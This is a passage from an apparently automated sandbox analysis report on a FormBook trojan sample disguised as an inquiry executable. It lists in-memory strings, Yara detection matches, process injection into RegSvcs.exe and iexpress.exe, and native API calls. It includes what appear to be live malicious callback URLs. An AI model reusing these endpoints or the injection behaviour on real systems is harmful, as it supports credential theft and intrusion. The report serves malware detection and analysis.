            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: inquiry EBS# 82785.exeString found in binary or memory: https://github.com/romenrg/genetic-startups
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: iexpress.exe, 00000010.00000002.3700825150.0000000003259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: iexpress.exe, 00000010.00000003.1614916845.00000000083FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: iexpress.exe, 00000010.00000002.3713620631.0000000005C66000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.0000000003616000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.birthingwitht.com/v0eo?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2
            Source: inquiry EBS# 82785.exeString found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: iexpress.exe, 00000010.00000002.3713620631.0000000006440000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.0000000003DF0000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxa

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            .NET source code contains very large strings
            Source: inquiry EBS# 82785.exe, MainForm.csLong String: Length: 150953
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0042B0F3 NtClose,4_2_0042B0F3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512B60 NtClose,LdrInitializeThunk,4_2_01512B60
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_01512DF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_01512C70
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015135C0 NtCreateMutant,LdrInitializeThunk,4_2_015135C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01514340 NtSetContextThread,4_2_01514340
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01514650 NtSuspendThread,4_2_01514650
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512BF0 NtAllocateVirtualMemory,4_2_01512BF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512BE0 NtQueryValueKey,4_2_01512BE0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512B80 NtQueryInformationFile,4_2_01512B80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512BA0 NtEnumerateValueKey,4_2_01512BA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512AD0 NtReadFile,4_2_01512AD0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512AF0 NtWriteFile,4_2_01512AF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512AB0 NtWaitForSingleObject,4_2_01512AB0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512D10 NtMapViewOfSection,4_2_01512D10
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512D00 NtSetInformationFile,4_2_01512D00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512D30 NtUnmapViewOfSection,4_2_01512D30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512DD0 NtDelayExecution,4_2_01512DD0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512DB0 NtEnumerateKey,4_2_01512DB0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512C60 NtCreateKey,4_2_01512C60
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512C00 NtQueryInformationProcess,4_2_01512C00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512CC0 NtQueryVirtualMemory,4_2_01512CC0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512CF0 NtOpenProcess,4_2_01512CF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512CA0 NtQueryInformationToken,4_2_01512CA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512F60 NtCreateProcessEx,4_2_01512F60
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512F30 NtCreateSection,4_2_01512F30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512FE0 NtCreateFile,4_2_01512FE0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512F90 NtProtectVirtualMemory,4_2_01512F90
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512FB0 NtResumeThread,4_2_01512FB0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512FA0 NtQuerySection,4_2_01512FA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512E30 NtWriteVirtualMemory,4_2_01512E30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512EE0 NtQueueApcThread,4_2_01512EE0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512E80 NtReadVirtualMemory,4_2_01512E80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512EA0 NtAdjustPrivilegesToken,4_2_01512EA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01513010 NtOpenDirectoryObject,4_2_01513010
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01513090 NtSetValueKey,4_2_01513090
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015139B0 NtGetContextThread,4_2_015139B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01513D70 NtOpenThread,4_2_01513D70
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01513D10 NtOpenProcessToken,4_2_01513D10
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05134650 NtSuspendThread,LdrInitializeThunk,16_2_05134650
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05134340 NtSetContextThread,LdrInitializeThunk,16_2_05134340
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132D10 NtMapViewOfSection,LdrInitializeThunk,16_2_05132D10
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132D30 NtUnmapViewOfSection,LdrInitializeThunk,16_2_05132D30
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132DD0 NtDelayExecution,LdrInitializeThunk,16_2_05132DD0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132DF0 NtQuerySystemInformation,LdrInitializeThunk,16_2_05132DF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132C70 NtFreeVirtualMemory,LdrInitializeThunk,16_2_05132C70
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132C60 NtCreateKey,LdrInitializeThunk,16_2_05132C60
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132CA0 NtQueryInformationToken,LdrInitializeThunk,16_2_05132CA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132F30 NtCreateSection,LdrInitializeThunk,16_2_05132F30
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132FB0 NtResumeThread,LdrInitializeThunk,16_2_05132FB0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132FE0 NtCreateFile,LdrInitializeThunk,16_2_05132FE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132E80 NtReadVirtualMemory,LdrInitializeThunk,16_2_05132E80
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132EE0 NtQueueApcThread,LdrInitializeThunk,16_2_05132EE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132B60 NtClose,LdrInitializeThunk,16_2_05132B60
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132BA0 NtEnumerateValueKey,LdrInitializeThunk,16_2_05132BA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132BF0 NtAllocateVirtualMemory,LdrInitializeThunk,16_2_05132BF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132BE0 NtQueryValueKey,LdrInitializeThunk,16_2_05132BE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132AD0 NtReadFile,LdrInitializeThunk,16_2_05132AD0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132AF0 NtWriteFile,LdrInitializeThunk,16_2_05132AF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051335C0 NtCreateMutant,LdrInitializeThunk,16_2_051335C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051339B0 NtGetContextThread,LdrInitializeThunk,16_2_051339B0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132D00 NtSetInformationFile,16_2_05132D00
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132DB0 NtEnumerateKey,16_2_05132DB0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132C00 NtQueryInformationProcess,16_2_05132C00
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132CC0 NtQueryVirtualMemory,16_2_05132CC0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132CF0 NtOpenProcess,16_2_05132CF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132F60 NtCreateProcessEx,16_2_05132F60
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132F90 NtProtectVirtualMemory,16_2_05132F90
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132FA0 NtQuerySection,16_2_05132FA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132E30 NtWriteVirtualMemory,16_2_05132E30
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132EA0 NtAdjustPrivilegesToken,16_2_05132EA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132B80 NtQueryInformationFile,16_2_05132B80
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05132AB0 NtWaitForSingleObject,16_2_05132AB0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05133010 NtOpenDirectoryObject,16_2_05133010
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05133090 NtSetValueKey,16_2_05133090
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05133D10 NtOpenProcessToken,16_2_05133D10
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05133D70 NtOpenThread,16_2_05133D70
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_03047B20 NtReadFile,16_2_03047B20
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_030479C0 NtCreateFile,16_2_030479C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_03047DE0 NtAllocateVirtualMemory,16_2_03047DE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_03047C00 NtDeleteFile,16_2_03047C00
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_03047C90 NtClose,16_2_03047C90
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E4DAEC0_2_00E4DAEC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004031C04_2_004031C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004012004_2_00401200
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004022D74_2_004022D7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004022E04_2_004022E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040FBDA4_2_0040FBDA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040FBE34_2_0040FBE3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00402C204_2_00402C20
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004024C04_2_004024C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0042D5434_2_0042D543
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004165734_2_00416573
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040FE034_2_0040FE03
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040DE834_2_0040DE83
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015681584_2_01568158
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D01004_2_014D0100
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157A1184_2_0157A118
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015981CC4_2_015981CC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A01AA4_2_015A01AA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015941A24_2_015941A2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015720004_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159A3524_2_0159A352
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A03E64_2_015A03E6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE3F04_2_014EE3F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015802744_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015602C04_2_015602C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E05354_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A05914_2_015A0591
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015924464_2_01592446
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015844204_2_01584420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158E4F64_2_0158E4F6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015047504_2_01504750
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E07704_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DC7C04_2_014DC7C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FC6E04_2_014FC6E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F69624_2_014F6962
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A04_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015AA9A64_2_015AA9A6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E28404_2_014E2840
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EA8404_2_014EA840
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E8F04_2_0150E8F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C68B84_2_014C68B8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159AB404_2_0159AB40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01596BD74_2_01596BD7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DEA804_2_014DEA80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157CD1F4_2_0157CD1F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EAD004_2_014EAD00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DADE04_2_014DADE0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F8DBF4_2_014F8DBF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0C004_2_014E0C00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0CF24_2_014D0CF2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580CB54_2_01580CB5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01554F404_2_01554F40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01500F304_2_01500F30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01582F304_2_01582F30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01522F284_2_01522F28
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D2FC84_2_014D2FC8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014ECFE04_2_014ECFE0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155EFA04_2_0155EFA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0E594_2_014E0E59
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159EE264_2_0159EE26
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159EEDB4_2_0159EEDB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159CE934_2_0159CE93
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2E904_2_014F2E90
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015AB16B4_2_015AB16B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151516C4_2_0151516C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CF1724_2_014CF172
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EB1B04_2_014EB1B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E70C04_2_014E70C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158F0CC4_2_0158F0CC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015970E94_2_015970E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159F0E04_2_0159F0E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CD34C4_2_014CD34C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159132D4_2_0159132D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0152739A4_2_0152739A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FB2C04_2_014FB2C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015812ED4_2_015812ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E52A04_2_014E52A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015975714_2_01597571
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A95C34_2_015A95C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157D5B04_2_0157D5B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D14604_2_014D1460
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159F43F4_2_0159F43F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159F7B04_2_0159F7B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015256304_2_01525630
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015916CC4_2_015916CC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E99504_2_014E9950
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FB9504_2_014FB950
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015759104_2_01575910
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154D8004_2_0154D800
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E38E04_2_014E38E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159FB764_2_0159FB76
